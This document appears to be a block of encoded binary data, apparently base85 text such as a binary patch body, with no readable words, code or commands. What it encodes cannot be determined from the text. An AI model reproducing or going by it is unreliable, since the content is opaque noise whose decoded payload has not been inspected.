zK+Nypi}@Xh`JMKV-v{kA%kK}YNSJ>}5t!ess2KClik;Bz)X$`}7JHL$?q!{|j@i|! zY#Puj>oV8n*_Ph7qGxe)!=B|rfz(@}i0H6JMa(yfm}L}klvM-}6#>NcKVXXMe}K4) z1eoG35{= zr<}L`cZLvH!uNWO`eOY3DYrreZn^M5qk@e_1@o;6fT#i>#`uFB#`psOR4`6aF%>){c0wb}D`!XoefdX{l!n!Er1)al zR<2sfS0y+j19cK;wCGd{tU92S#$+M#eQkj&k8RBVXBy_Ep{C;p``WfY5Sa(!2s0Sr z2s2O|Z5A(qk&>Qt2E-9&@Wl~kAl3-9hZ=$QLd@SQdLi=$kaCYlTpG0MhPd`G60B5 z0OI+kV1wtI0>#l^#j{|oq-#Qfc)lt4d-P+Tn8o51G#$Yfh)o|2k62@sS#Q5#<6!Z1niop196cuCq0kIS6<3E{?@jRhv zPG`?c=d#El-6xEcAT@7k?y`QkVf_HZ`jM7(AhHg`K0erBA0LQocfkhN?gFuo53bn9 z2Vx(e_RzOeT&!$ojUVkX4V&!dsYv~{*ha=g4fya&7pRv zWoK~M70l2F3YP`#Mip-|syN!J0*I;r;;A!WhNsQ|@zfbG$Wv#4c}LLs0bkLH40X^*C-HInSwp8G6iB= z0z7iBQ6P>R(jLYQX)mORr&lD3cwP|{@vNd^invegg!&O9(iE|@TJGszC9}wR`w>oa z(eUb+^L93zG$F#hWq{kFJkKy*GmIZ&83!WcK#SqEZ20&K7!0mOa;*kC^bi2Vp~#eM`3^FHmNA3=K|)-RE#$ohK}f%Quj z6=VH3VrOokUGRo9)=%x}+?sJAX9=RoW3P(4>D}O-m(ou zwt?d4JK`y@P>R44P^|0A!9q!MJ5a1U27{wg^n#=V;yOjz!#YLU3$cBRJVmzeR0Otf zQ&f!Yl6-n-#Y#^)+f}o^$=mSC-VSu4hgsPVo+IS7?kr)jnhAcTphmLP`?nZ{{K6T(LrXSg}HTA%&bWD^bWYMNr66 zMa2|ywb(g2P##<`T@vVPL#?`g`RYn-`Qlm^wuV^JnJ2E)x5d+-9UMb*#4D0d>Lb&G zZwEPL1lXkHVYyC}f18fbfW8Rc!E3D9b6~8U{Q)AIKymb0Nd=FVqN@zz7y&%bF#;gY z2!R962m!_VQM5Ng*rdG>n~UWvALjSd6@krD6%}LiX|WTk(`R_uvg``tu65vK zk)`YVD$7rmpO&?whhCe9!hmhx7(lHn@IY7w$lH_TU-Am6;6KMDbvzJN0K_^T?68gp zilaxwB-klMm|X|ruF&9)yFvpoT9oz>ElPVK6`UncQ3dUapn|fZVk*EKV5luW+pmH; z@_SFJB|^w00;i9rrMytu)G{RC6HU_xf)dE1fak3OfT#c?`CbLg>8$qG=3w)n zTp?gi)6S6IU<}KpszE$s6fE$JQ6To+!3X>9 zK-?jU_OL?~?S+^}>lWI$9<=R01(q1Wb^A5!z zBFjUy$ELGP$Z+jR7$iFv+s|3Hfyg#c9DQ9p1r|!tw+-TsGGKu_$^fxn4vyF_2Z|$b zOnc~;(_V<}W27`7+b1dl+s7*^#`Y$$b4-Bkw|d!@Eo3^|r?+*<56POHJtsa&gWeiK zc!oy;_Wcl_c}nRWY$**yHi6>kbH<}3EwABQj=9709CHVXqlY9NI4J1~KOnZlX%Fpi z+6%FHuslUJrzirOhbVe!*_8df%&WdvrB2S*tqRcvO98g=cB|Oj-m(cqHi5_{yi7KM zxKhiL=tat5^htKXQ zuk5PK>0exF*Tpn4!J2Eg^d`NkfNg)TD)2x^1Nr*a+gTL=Q3XKkRe>G$s({$50z2$g z0kKyF?%1mWVy}w!(5s@okP1#}OH{B_5%TmYii)WqE!KW!c-Mv{b7#m_4NH6H^mesZ zs`F-Hsof%3oZFKp*4`65AF%68u<58uAbD5_-qF=7Pi%~}eYcFVpkRBuTrp?1R>sLV zmJUQk05R4ctT5Idh-YnpJ)X4z#8`Xq$XI(I&Y98PG*JZYg%t5dd5Y!23Pn)FnTm=j zVvE=b#pKM}T1Dh4B0PQW<|K<{r+`RNg**_{1?v3$k-hC90skkSbQmQ&dHlBB-KMQ887d&9I!D zO%*4vJX;oD%J0hBuyeZM4ZIp-o*9-zDkepcYyVnXm+hY!w!drGUT@h3BHKWmVF3%A zVF6+<4J@#i2E-W_aKsrFAkMJR9%fi*FT{3Lo+8`p6oKslMa9@oTW@n}8rw6g6|B6g zRl4U?d%IaL$nVR_x@Qs1lDS@+zLhymlD0qv_Zk)4W>j#lRRIuH0L1k+V1nyyfH>X; z#yH*v#Pv4dj_YlJxZZ~Lu-=CDLMr&0JVh0JM-f!;O-032@VwXw#nbfXQ-QP#`ms5j zjKj;1%qj(^x<{Yf<+t9jQ*W5^qER~a=|iH(QVYCu8@3J3lPlT=Z?}p7q9TA8PXksM zPXoj;Ik3kuIUx4k!6V~ofY>&mJ+uvIFQkZf%TrXu`xQYE?^RSx5ov9May~^Yu5`(Q zyft|jW&7*;MvfayJEHJus3Cnw6q#C#C-SX%&bbtc&1>P#Tk7T}Jx1rTcs+CyzYdm$Bk zTArc`u2KXQd`?j@6+9qzLbJ5p*;KHkqtexdhJ*aHtaZd>8Q$AwgnYifIMJR|5`*@f zki7a*U@%db_AE6*hspbAnY@3#WgUpD19AKSY;gPlh>=%dgOOK29N`659N`6GEkS#e zg>~8su|7kdBI|P%f%Vynim{%S_ot?@E=yzQ_ek`0{Ro2mzO2-HGql&Hzm)JM4T~UC z4Y0!G{nJd|Ut?7OL=^xr?}G{EeIT|J!5CYLK+OB#j(H!5d7t)>_h~Prf&=9#s^Abs zP{F~9imBi)VkdN7@1glrfLVI^by+pwOxu_?Un8?>(leL0WUeP&kpC=Yz!tNk{8MH} z`I==Pi0lJ#cQ>%Y-Q9q=yBk>H?ruQb-3^>^cQ+vJ?nZmq-HrA_?EkMkMfN|Y2<(4Y zQ8D%(5<8)F`KvRqk6yu6brn79?Uhra#FE&6NH}nbQ9}%RCU72jaSX zc%SR?fw=Q4SSsl}5D?epgDs;HPEHjACmE^S@m za|bl*iW1t+nb+3aGp}b=ul%;G^?=h1WCKr#ZM5eU7=vXT;AJV z{^2EmZopN1t78M3W!8xE20&yUh`Tny``on&h`Tm{CGOe;#9f=f7k6y}Vp%|YC<_Md zHQlvI^un^>Aw^(*v!Y_m-zRoL@p%`gl?6C~6&(5wGMXiG9cxbG->~i^ z3Ucma+#MzUtjX&iGkN_&o7aKJI1uCU;C0610ddX#1A6ZP@g)#rdB786d4L$pLwktx zpuJFD|EoMj#vfM%#{aIU7~^T9K^xN;KV_g&U4LqSrCNVr1R{O%3=lfSKXZM+vVZg_ z@IYZz{K%-{J4O{3Sycd06+mY7wlHH>ZwoT3xAh)o?7^j3y{-3NEeZgu91Ws9j0VwO zNEJuQQ&h$AilB;P6ctlNT3_I(G*!qUB6U5&mh=TYCY=T$W#dU#nEm5SPw-IF6CAMY z1Cf0o_65KS`vO4h3xE~&1%TKW0B7tA0I@GXd*}<$UWom7%um>Vw<56rPDRDoPwNZZ zH(NePU*0{sgn*g7vQ1}y8zM}Wc6R65q{-owg}le2(*#iNJ;_4U`)Y&l%UTa#{lA^5 z|9@fYe;_gs#J&I+VP61A?cS7ZROF95#S7XV`YPkX5UX)nb5%}WyI?@&|{Hf~i^ zjQM|xozNa#Ps}6l;*2xSIQH139Roe*^dEa{vi?SxpH*2^9_XsoZI+vF!v@bDT}`d} z_ULMwI3xsbOYq^n8xASwZfdvt*f?$HIrJ-Wae_viv*oIdzt zoIVia^l1-q`m`5P!cmn(2~!n83CAibri2~j)87<``aI~AR3&uw_jQ%mPamlDF7B1~ zfCQK=swSKE<=Ml-S!`!=`mC^d-+4jMM);|qNW3a>PmOuNoC|W7ITz&Pwx$50N`QD? z5SZe5K|nk&2#gAg;(s8X7X)s3UJww^3!=THl8*L5DjB~tQOQI_P{}Teim4>6zcB6% zsVb@4%sbDClfM3f(A!|m+h1@K1u6H{5N^3}g<<@ChVct+xd24Qf!JSw*V$hHVt)bb zaE~t__7}ht`wKv(zo7QCzo7O)jE|D1*fJcW2#jy1XlFtHkm&TCBh0p7L}If1OI{Nb zV6NSl6Cf?dG13?>_9M(B`+kvKal zo7Uoiw)6+0GJv>~6WHNSPCz`(0W9(~2O#d`1U|Ww6A*WDqCM>7M0+7+9KJkJ#<7Z^ zjH474Q^xaRClp(BM5;1ouaPL@Vkg1)MuID~riPu7hC~%j(}y(SD=XZSUv4q2#_LV1 zaTluyASwcgBgbHcBga6DEdqOtEdt`mF?i(2F%UXb+g7!j+xO{e^h$|IA5mzWG zriio?Yd;#^-C4?tIkL6$%--(4t_m8A^Gv9cHnQuJs_@q_=GG&J#o>&XEcw#LOPpk#2Jh2vtC)R>ro>&XSGlFOj zX9NL-PpnbdqA_APOs zV122#LJ^F=L4d(ooauFkdshXa|y zVu-;egHuD&g~)$Wey6)GA)4OE{1*)KpES&$Wor!}G7rR2CwQNuPC%T221}fQ2I8m_ z_~NJ&5J#P852H@B7h-I zh>>UDj*(|Tj69<~M4r)JDF44sw8JrlBNRaehbbzig0vpy*E8q;I>z!J7v%3@dIXl3 zZqmaHJQ0>gmh$0tQ$GC4ln?K;$^fD=fY`$XJM3Wsv4;s3*~0{44-?E9uf83!oRnn6)9W&BkXc5+}8`U~@sOYmwoA7RL-YoW={+sfj>Dfa7aI^m0r z?T7k=`4upCbYt0Ym5EOKgo#eO#KY4dQ9kw1?BEX)mOJUFCU}4SOhp0$!o0m;%!J37^WUfQ52o$ZF0)?eRJ_7i~EPXJTwCjhaZ03O*-0AfFZ z_RvqDy^tbKd1Io8Ws0DPrHWo!MaTjM^GYcbmi1Q8k+p2naahuMt{gfbzcFjU5LUzx z!$Cz1Nxc<{m^P}hj5x{E60=M#@g=JWASwdLtacYx%xZT*R0No!B7mp}@JK}fQ4zEU zMbKVI5toUMSVml-2#UB|Q87iNMXTJCs)(f>vevbImV_)+JNq#3B)=}J7M!9#sU(J) zbUKfwju@IQ$iJ_R;Fbq-WvmfdV47UV$n{s2eIT+A#Ap?;!e|vBMyr4oMymiZS_Paj zS_O#FDzt}a71|52|FpE_$^P?-!2Yv}im|_0?1Xxc+oz5skpkV43WJRD+p==+?>)Nq zn)DvsWI^8jy~h>XHRk(+Ouu1Y({DJ{V($?wvG)kX-Xr*8?-7W- zN7_U0anN3~-s9zGCCp!`2+Uuhs2KBUy~lSiln>HZvzmYuyuR8y&^LY6s!rKHI?tey zzxU{~*`)XAOS%;*=n#hvm*2U&`L!Q5DtNz9K`i|N&QAhS1wiaQf(iB>f!KQlW9&Tw zvG)k>*n0$G?~(Sh^Sl==p%e@zHv*_J_2cwBL&M{ zrj^!P&D9)m>i5PfV2E8OY^k9h7?Ln*?%DJg#-?{7ZMQnLZUtFg+zNHHM~xqq8g4+1T`F{sF)hk+5%tAs)nta zqz+Z_^}WDgo1s2okp3*}|HAY#@#}5pyndi8Cx_H3 zc^U*x_+n#8;8=Akg@$s#Ng9$t78ShL^an06{ehoa6#!8MKyh@nco6KAqMsSW{m{S; z_d^4Uqn(9ka94^Z8pIlb_E00xUPuMotVmR_og$P0qZAcWLE4zXm8o$FtP%Qpd%K7h zme+N559C?S-lT`v%&=2~G-zSy*9gf$eCShz8<+5h(d;AKD_8UpUUfp!MgXEBfY?La zMp$7F5r{oRFvT7s5POK=kv&8p_7G_gJw)0IDPl)?isiyCilB(`ie6epd?LRhq_LP! z5g92qcC+foByWKtUNnk$+9=}HRuMo{1P~PgR;UOd?vMxexI-Qg6#*Wp2p}qg_Miyb z3n^l(#J5lp6BI!aJ1Hurh|OXr)N7oSM-e%fID~qQn%UJ}u-7=4tOd+(XT}S*m=@xA z%RCU72V$=g-e<27h`mOz#9kv1dyU|Wy+$DR8fg!`#zA|{dW|2Hr^x(A6oL5{j>aYgc-K^6+OyOEJ8jDvAeJj?fITehKx7?= zdz`@Y+~Wi&j(#UkfT2?Kph4W@1YB{C6Cg&b(H{0Vp}kOkA9+^7dPxyjAFZeu>uLFY ze(G2O+-?^%ck<%$ih?Pxud)K;Foxy=5_xry>Pz$~?z>PL}!Hf+&ZA$+4oshHwfv5x^ zu4w`rT+;-^HBDfRYnp(#rV0FUO%o8;G|?W`G|^tD47fuWVab1wA}Havii#=Waj_HX z9aiT`0(~_bFC-01J1X6k=`}g7V&y=tWzPN{pVz3PnMNHrUmzp{p9=1t*jOICRmKVN zv)>|Dln2Mz@&Je`0AlYDOt5zd6zd-MV5}7VO`Zi}?-1OvcL>DZA?=}eNP8g_+&w>0 z!2^n*g8LK|Q^5mbCshBxAaSyMg;mf$x3~A4*|J~$R!qL-HSXY;Y1XW^1luX|bdo+&Cb(+#YrEM4-}{VwaDGpv8quzs^;9f+(0 zk#(>^)`7@6*dXgbWF1_Qbs(}%dtjaRLag5=-Y4sKDJlu;cPc8zdRqL@_hy)^-gIu@ zblu8gj_iayP_6VYEcc%yKQHU_pfk*CDt?biXC^6;h$m(Ke7|A8#?pR@QNTe)0k5+P z0HOkb7(WCS7(WEW(=fmmPs0FW{1A9!{16c1hiDJ+L$nuCz;hCjOa(-;7lJtXoN1AVhPWdov_UFH6MnI6)8u4b>xQvfs>%V}oVKTy;xbyyJIGU36!8WkZe zlv9XfLFQe~2Y2 z;$MnTCOo02m?F~p1J7)gBJ${=NgLnC@UqBh2%0j)pEjrkUrW$c!ncePK5LXvu}T1< z5`fqr07L8#0L9UxhM`jQm_h6hfIs#JfY=|PJ@f}?FQkOu%2QOr?-W4^_b4i+gtVFC zzhzaztje0swn|bs6p%tAyRKQMU`T2SqXjp0Pz;&Mg*}ZLb~I{evuXgM8h|)+3`RI} z3>0f`0L+!5$AvE-&K!e7&Kv`A=9u;{b4+_7HH_E#K?2^QiMFQLMNu&|q}3F$^kVpG z)-M1N(q?;UY6_oWM-X-D@udz6B9kI|%(|o%W?fQ;RRjunBuGv z5NitX$eIF(H3jXVrl7r$B1XwmEFZ=wLiw+(gK&&ai5Niq`))ZifH3blB3h>980*EyQ?V+Ziy^s?AASDWw z@US8%;ZKT+DIu+AvCy!boRc4(`abS>#kX+U~qKfrVffBQ@PM-YKk|TnxfsR z0f=ebkth1Bpv(Gb?I3f_o5or(Oh_n|{LC1nb1wD$Of^!rVQ$bqo zFnf-CkiPuwg>yRl7WH;Yd{K2yRW{CEC@UAst8?ve;1mgzK{KYI{>kE0Dr660~u?Xp6tx97BSwG-2fGndFO%sSBIRYEhfJ|#3u zn_CI)T;pXXs^k(ARq~X~BXE=%h)MvW62K6Z07NB#Au0igN&tUU0uYrzdr$)Hg_Q7N zd5Sf||0#kJKBlOc64KfUuiP3XELohV$>^>6z4XGaBOEOinkEj4!CNl4YIxSD;W49z zr>7=r0HPXz*iHaTY$pIQ78xut78!``1aQc90ub8?w1;*A?S<6vBZ*X?8h)k-YWRtw zVrqCm?1W~T)}=(6)XLS`V8GzKJlm-I=8%S%^G-|*NtK^ktRT#a{yPIa{%I;1MOkXf%ZbI|Lv@V^(Pg9^~V$yV?8YbeTNj* z2Ud1>*3pjTf%5CJ)&#x?be~0MYJzPCU&0{$zE+{j{wGb0!G}$Z!H&W-YXBg!55x#` zFu(|OAV#2rDMp|JF#;W&F#;Wk5$Lps2z1&DvA2OQp-9JSqCEP@H|-uBI{s?tOJpCa7EUE$U5zTb=nKD-YMQE z>%EG=dY7VNtlutnP7JIzdFOP^=Q+ew?Q}(9?#t{vlJ2l%JEeXa|W$ydp7a zPRJW#&sz$(ADYheq~vqtI#K>@IzqQ3#(60E8f#XPjJFH}kzt@X`m&^h=S$Jo4T_`N z1i|yA2xn0P#Sz-f;H4BjXAt}Sv^P;0ro9lukF_TZKcxr^KdGn~!)fsY+npjGq^~BW zIUFx%VM_mA`uY7>*_9_=$f=~Yb*_ZFCcW_k-jwOgyL*$lF@ygx(c(|Yb&UM>51o+I z=Ri~d5aS2H0^7KFF1cNNiXT6il>3-3Kv5kOP~ z5NCzJ3TK6YxN-#SapedQXNABcXN7<`D@1#k6{5Y6BK{~(Q4xho_klyJ0WwU3%`4zDir?s?N3r zy=~<#+|0GKz}e)M-MCcyz7rKv9|{)~zMi1FJN7|lRCpgVD*PI&5+JGsh-V{!J)VsK z6h|)@_Daz(VIMs5Yy@!2vk`!JHUjM}m2|WhREdlkv7A_@NL8Y!m`c)Wju&JMn=fzM zVQF>!^tQJQbXF@ePAB4!P~*0)fqpq@U4CPMnj>J>S91iChXvuSIo$EUNoEbwZe|VA z<5QEi1P~Pg#F}HNu)>-Hh&9J4dJpOYV$A^_S#tof=Ab>)9JCiw#DF|SMZ8rJ6tPZG zF-4@!8*UdK9Uel(k`CGHv|WB+RyjB$|5{o!v+9{QY?d@61Yfz}s^CGRf_sb#{y8;K z0T5LH#Cb!o!+Ap>&KrUq&Km-;{{ZedZwSPBL)ycml>73%c$gaRwY1G2@uN)FvYS0i086_QDITo2Vz+P zZdq0Uv8HwlTfa2)q@-x6% zDZ0_1I6_Yktd+En3dFGra9WBmRsj@8a|O}f0)x21zS)ZSvGNqvF+ma3v6G@=>Udo2 zgyI*+rK)3YZ$D1kSku{#=(XPNxoc%CFMCzu>xYOcyjGpc#HhiWw5SRWG%DD~sNf*0 z0wB|#P!(J)9t1n=hXAo30(RIB0b)M{+_4`5#F~WmP?G?KRnR9-Q3Y!hK?VJaimBix zu`@eRMx23L;Q3PY{|w^n6+F+`D9H5ngF;tU+OhcbBKg@IH#b@Lr0FG5omL z3FY%$QyE@d?(DDN1Xmu{r>CUJ56s$RY?9BtR{i4U3+yjXQ3bD61Qi^lsF(^Q1~*y}$me_H zRY9`OZDvQgXLY4LuPBab%;HHA;4tm|kfR$PHKjwACqt4EKWAwpoMlwA)TriQs~RAx z1}KhDvVzT0bgMyew5_lJHcL^-pg5W?2waz<*#^bY3PH5jZcw=FXqV@ynzI!_HLDdB zQ%zbV>oM6>qpKV`+w|Opyh3rNJsX5F)UGFzRhks4jiHIda>$~F-y1dDY1D9-RRa*! z0K`aEu*67KAV#u+B}TFWF_IM=GLjXDk*u_bNLJbll_96gQ&huQilBx!DJrIhv=e%! zWK+YET6Lfe8!2pM(cwFACn4Ey+jFK*_<`cexXvge*;nOIs|+A21BfT|fH9uX0~G6d z%wVjfy$T?n&;vesLJts6=%GFIDrhgHjKk$AD&ts1P{vV;iYX&)G<)B4WmH5FJ&Vh0 zXLrfANrrL0(I6wzbKiq~3208tS@9L)w(9L)ye zXf~MQXf_Z>v%#Y|16J>$grGf)X476s5l@_vDB|CWpoo7dDyE1B#7-#c{nj@~0)6?% zDSNuheW!I+)}FiyCw%4_y`J3IK46V8#GWTY?$jZPLY({C3)4n5j!Sl$+3vEL?f$f7 z9f+(0F%}YRFcuPsJMDlC?z98MSV(ZiSV$l$f%Xs!NqZsIm(EXEf1@I>zD!Xu*3(Y@ zy-s$8;j0Pj)yirNN>>;4uB}uhFtsM5)Abd%{MM|+f$t38Q+rZBz!{p<)@AxrVWD_i zmJg3^RLc8I`S4CtK3ppu6ZT4hs1zWc{0jzo@-Gn2jt7H0J06H9|AJqh{0qdBe`)V@ zQ3~yalyba0#TsLVqLR>eqM~9-*;zjQ%s_wShgp@fWT3yV($l`U(m&8$*-EJ#=`Ar5 zsWkrtM`DdyY5rJ9EWVn=Rm$s)Ql=TD{LCr^h)My9b#xL8mZF=5H=tPKX24)68YvtA zv4shKOA+c1AS#9SpcL8*DdnT>iBdkLs3f2G2}Q+}k``&VS?WE$Qp%L2y#s9>+)7P; zUe;p76F)atiqxBQX2wjllZdE3Wr%-&t>Q-79cUu$CYwmR_sjey%L*VW0Em%xV1bc# zK#aZxTa3O1Vx%2-W27ArN3UrQqt~<-QovpE6w8YH6+r>_Dk`Rc=fzGaR$@zv0{Ys^ zwaS9>`ijKKkpFqI%(j|uwY|4>8L;eYT?UeeG~p`~Tt$4rDB}N&BCfEC0HPv**t!H$ zY+VAebqS`}x&&gI0z9&H3B*_l+C%G-_CkvI=Nl76JgW$bcv?|0MWl^OTqY$LU;Z*d ziIBmiHZH8Rlb`Yvvz80qafzmOed7{M6Nj|mFCW~q-|jZ8&R>~U=TB^_6NqX6;=|jBuuuqH-4zh$F=!9#u4pgB z^cUqRGW~T$VEQYHiZPwGhWaZxn8y6{^uE3vgnQOdH)toZ=rjI z%mc;I4~+LqdU_jph@%JP9#|?x@F`FnAu0@fl{7*Dh|JR-n5Vr^o_|4}BJ_|}%4wODM?By{`*zGPGmUDfH`9;v@|5pDpiSWLkIYP3!J6 zRsld%01*57V1|8tAg-zdGh9^%#J)awV_zSLeSO+PU!V3u3iwPVQNR}!A@6@)Q85Kv zD|TiC6i^MXt6a8Z`n=w@T9^EytY!TxhBn)*l~*>tr@7p|8Kl;iw;z|^HeCMgF8}bl z$Mo5;ZW58}pSOK>ATkRSM_anEjAE#k~D-MPT+Lii$D2N$gAyFx!>N?4sVTJjCwSNFMU2aHmEb&J$ksy%4Qg zSY2aS?KZ4_&aw(bR)ON^tH!e>jWdIfIkpc5IJOVO@j7t9@j9SbBamqi{L)^C)gQ@I zWc6o?!0JyF6=N0gud@QIo}bF<5?R$)spZ)aVRtXFi5(|+FyS_NJ4CPimMjb(Zq_C3 zZ`LJUWf=w{!$5KL4ddmK_PpWmSaU1bC`Gr+yFeUq0WTbJ0b=|h?IC`U_CgGQU7jMt z|4$JZ{+6Pbmf>|78P2o3J;>oQDL@g?%B=OU6Qsj@8#3*T$g2uM>4Q1nm+#&6i0>WEUf9KQMSZ=m zRRs`L0Tf5q$h%;x6kTsn9AT$euvLmA{#a2Q?JK;4%Tn}egW?Dy>$Eq^pm6Np?(#fU zv5z9CVlPF-RDsq)X!XbeIaPsO4XRrs4BzUJA)0fndsdI6Jra^f7IpNRdVjU4_jj`D z0HQj8xOxPvarFogM_j=gM_hr}CI_cnJp#nlBeaLrBeWMPGd?L#Q5~OG1a*8yQ89I3 z?)daTnbDO~9bji`#Nh-3dJBO@+m1B+HwlT zXb_cB7e9&FhWL(L(S~?lMsCP75Sa$z3=SCJ3=R-yaKHd(aDd1@_#yj1oWY?z z%;3;oi0N<2Q>-PvrwB}cM^Q1R(dG%Ay1QQ*)8|xVqHf5p=<*A*wkn;8cT?IoG3%^U zVr9}KZBPnXlyKE{RKlm^3MD)o#&(ZLY+LODs88_3 zs866c!t6ZlO)@ClfB3sRMaKWB2#i0js2Jl9iJj0a&h#9NFOe|dt~|RE_@-x;)w6Ca zdS-ik$wJg;$?H2B=0_XmUznOO4@BmHIEw>DIEw=mN1F{JrRYxvaTW)BaTW)NvpBSe zSsdC6<@L|WQ)K?jiopC;ii$CxHjA@&I`c(}e9znrI2~%zH{Ih;8RFmH{&(yBb*8j` ziz)5@JvC7P5ETH#SsbvySsWma0D~=#00VIr2fT3>2Z%jJ+QTdk?S&NZrP+xBzM%*T z_^P5}3P{_Z}?;&RT6miCs~$i-dO~| z`XKeG{3^L&$Hp0{SfKho`*azbNB;c0& zlK`2$5!D{{C!xKNO1>*kv7Gp^BB+d-N$Lk2+1R>B zl#=>fNGrY?#Z}5dMk)Imr5tRP0z{<%aSZ_2;u-)T&K`l)lFkkSF`5(nat#0w*8tGo z>7o?c3n}G5nG2v&4p9W99IU9AQZ|d7P%O}w!x5em^gXv$>zmot+h3Vm?rG0efJ|;= zSUUwn?Kuqz>R@QH5bg3Ceaz22q_K?njEM*Mn286NJvAvKfXF-$TYd08V}XDe3j~%J z3k1YiAn?UlARx9SXb)|PL3_<&fnF(3k@>w9f%!cZ6=VKcv9mPLZ}?m`=BsjaJC5dE zw_X+s^>(ePROL5j?Lj!9-t`Lb*mVN`8jOa{p8y#{SbDW+-ScR2IBZo}waFD1su+R8&k6e-}HU9q@jUNfC3Z z6|0AVuA2P5tZHytjdf~pZ91Eo)GNVF+5#2)-*Ap6Tq#$KC(N@d0HO+jxC0)T;0|~| z+yM`aaR)pg?tlmGxC0&#_cNhA>}NuIAr;J!r>KItilBnoii)WKu{5DwZN8UD1+tx( z778+bd1|#Q*D7O&+&UQyG3pE})$3qL+K>>k)DBOYvfyD;7QEi70Ej98;;uGeg1g!P z#nHp!RWMf4bGv~!mI&^+s|^rUKzmRD?S)iuk~~EfEL8**oT8|h3etL-n{ufDYeTrW`oNlmm0E0)VIhAoeuD411bDj28qmj28rAPZPYc zrwPQKChei8NqZp$94Svx0mmzX0*+BsOaW;l%-_tU033l-E7u14lSwA|g<0zZCwJEs z1VgQQN295Op^1Z1$Wj*k!juJ9o3dbzRRR!|0K^eyu)z^#pg2O_0&At{9|m!R8T@gC z8Hgjyw1*L9+6yURl{`fyAmWd)!<~wXDIu+0aC52>PVHa0TtN0P$l~!GNM-D!56s8rskBj!Y^*^GtqJ)*`?OS2INb z_*6r_?GB|&YTpl$?91ma!v`CNUu77cZy5$6!$9265MJhfhCs3IP6jqg(VgNuAns=f zUbvqj5Tn&-57BD07h)KZpJezQicsQTpr{zbX}eI}lZj!ecBl9E_qKIPzp#BC&fi{D zZp*{D6RuXrc@xu4q)L7H(Bz4bF0$qQIYt>mzUKV}RvAE41`v0l0z2G=3Mh{LC5(Z^ zQuK^L+=U8!au+Hf?m|U-b43}n7gEN%nbOcMRDa5(2xQgHa#!cM zdCCW8*swmk*V%I>p6g1Hxz%(yHEjf#|YZPE>yG^V*S(d6j{GY5m^76qGGJyEq3Mw#ta|L#QNe&xqVS*Umnh# zP=k8Ttu<#$fI7x)k`Uin*#4kl`(1|ZlP%joWE&{fU5&v)Nmma7#kw{eER>@A4Ii9Y z0!PA-Fbl-}0B8>p2ecPr`)l$P+5V0qu>DO%#n?`ZEO{a$+x;>YREX{dDido?25*!^ zk|;!Yrc(VYhVjoD#ur(}fyg)zBTL|QMwS3EvIOifvIK~cCE$sXB|wZUp}k4MIPHZP z|DilZ#y2Sf<5w#x#(3K7@>7`@mk#&LfofIunw;Jx&A%RL2+A#NI43_fYs=p^yUdn- zz`S>MIrXWaNHVG9I-`;w8sZRC2vMMU~v72r9WzQ8AUIl?%^iQpvJvr%W8Rs$3Yf7AO}669p;HQWHFA7{Ajn zzSuGjM8<(wF2L(77l2qUfE|_#Kr9!)6Uzl4mJ76pa)I_jjBlEsFn+xvFn+C~VvMKF z3H(#$wE6N!opkoJ_pZgN@kJf$`(?Z8u0_3_J$a^voFO1nA$W~CqlQVn;7uEnflmeB ze?{X6(0hyuE;cH-$;Ju*Q3XJp695yO69D3z02t$(01)Q{z#ZoVfH(p~dl&(ty^soe z%83eUib_JwTND*j!SiA#v|HRX+0BTrfC~D}ZcwtHv{VQuSKB*#%6WoLowaFo^!hD3 z9l=56_><>V#H|N5Dq^)689vL549`Bn#t;aiB5;qp#epgA76-)L;=mMlivwcYA3Som zI3V@{VWp&N+GsDNh#ll9)&x5%f+EH#DyE3ENYt^}6rq#%6omY^tStm@B&wD){WI$= zIsqj03aC$3l=(eOSs)(O5uvG;c_1P&;VZ8Cq;8JnFPC z_&`V$-j<8Ln&viuDt~U@3Z9Yyfd(E4bv!Rv@ly zr9G@{rM-|UUL{Xa6|YeQRUDwGm@3lBgWWT!VpgTAB3%ZpAmqojpgd@>*t|SwNEV{r z*EVpOf2U!7gJJ$e%RCU72V!{uMpzyIu{;1HEDwNK9)K^F2S6+jXbOr9e1 zM=JvJM<^=BeA*o0KG~Qb=6{X)mOL6XYqXV3s1NV7j7W zDoD%!`)5*tjOR1+FR1j$k845xZ?M=r|2HHHk)MV6I}GzOZ>sHq>6UpQG7rT34@Q{( zftdfn2=hM>^FR1v{s&_Ir#<9<+6yuN26>9iFH!{N7b+^oJnE+?6%HOM|vs)iX>4M0=_5cdrROWZdYhaiGP}*Iz2k>TyqVeyso^wvifVYXBB5)XDJINm|o$IrdK#qnBnRZAhHj{{YAkF z_ZJ0KLY|m^#v8k1olej@dnh#o-hhmg%OZ9ci$xfi{{x5tfFpHgT0P-6-Q&ql{CmGJvQI zAjTen9mXC3G4=>7GWH0Fu}9#Ou}46RJ)%9t9?@P%8T-gnRL1^_pp5+#6;no9B>I&Z zlp#$zZlZ=D)XKU%GY?L0agg94Hl1dN)y|NF#T9V3QNXQ60ZXj{fT#c(<=-`c!=s=7_r#(cX(_TmcPl}ePfM*mz0Z%C^rhv4vVM7K5EUrl8S*=jT z(KM?!wcV^VY5G8MW$bU1vA0piBC8A_Dg%gR0~ll30L0TV!5B}+1Y+3$K3O&Zv236{ zlnt~OQpSH4C(0PMB&juC)O*F0fjt0c2KpHr=Sc#6`Ddgs1&vb>qVRQy5pC}-7zp?%BDw`UVM9P#KvnLU9j=>qc7f68@2J*TW)=H?3QIC zCQh>x_eLxcKRT?eF;26q!}ccl%g;LVP1lZ>Kfirk6zv@CBWTeK2BF!z(oGhdCOZS-A|bXoF-xgPm7+?VE?yztdGDjNLnVtGG` z#^?>Ck^$p}*Pr$Mv3lhJ$` z+Ti`2>e4^V`@;{}K|bi)Quqvu)|9&jD)vJp;$L1P59WB3NSk&LqxvHjL7@j&r z-`__BHX?eZ{KJnMFR7&QF0V7?&QkdqCyh(~)qnWk_+_`-wf^QVOXQo59<$x9$rHQP zeceCm6Wh!vy?)fFF=I#7zx4;cb#iInQHPD$Zo~xnzWvki9lCWNkL7ZBJXYhwdE?~n zV!Rb?Z~h(@mG$qD_Pf@9rKeyz9<$B4_)7I}JgJ{KW^}dw=HI8Os~c}7ey+NH#P@+8 zd-U@srTTB@I&UQ3Yr~~YzF7Qr&lhXFX};KqwKKP+4a`7e`0qj!g zfHLT6x$Y>}pUM^a?>f06U;RR^2bjO*bM$XW`f0f@-Hhlaxk{@cx<#&1&_=(JtL%^& z{Z_73x!x_;^W^#mxxQVlf0e5Q$3#!b^?h=M9h7wckg|E(NSd#TO408OilZHeCHHnR zD312B_x82-X4-qNxA&IVd&}&-n!UHq-g}q5_a1xiJNDl9?Y-TGC*NfcgW^aQeVXq) 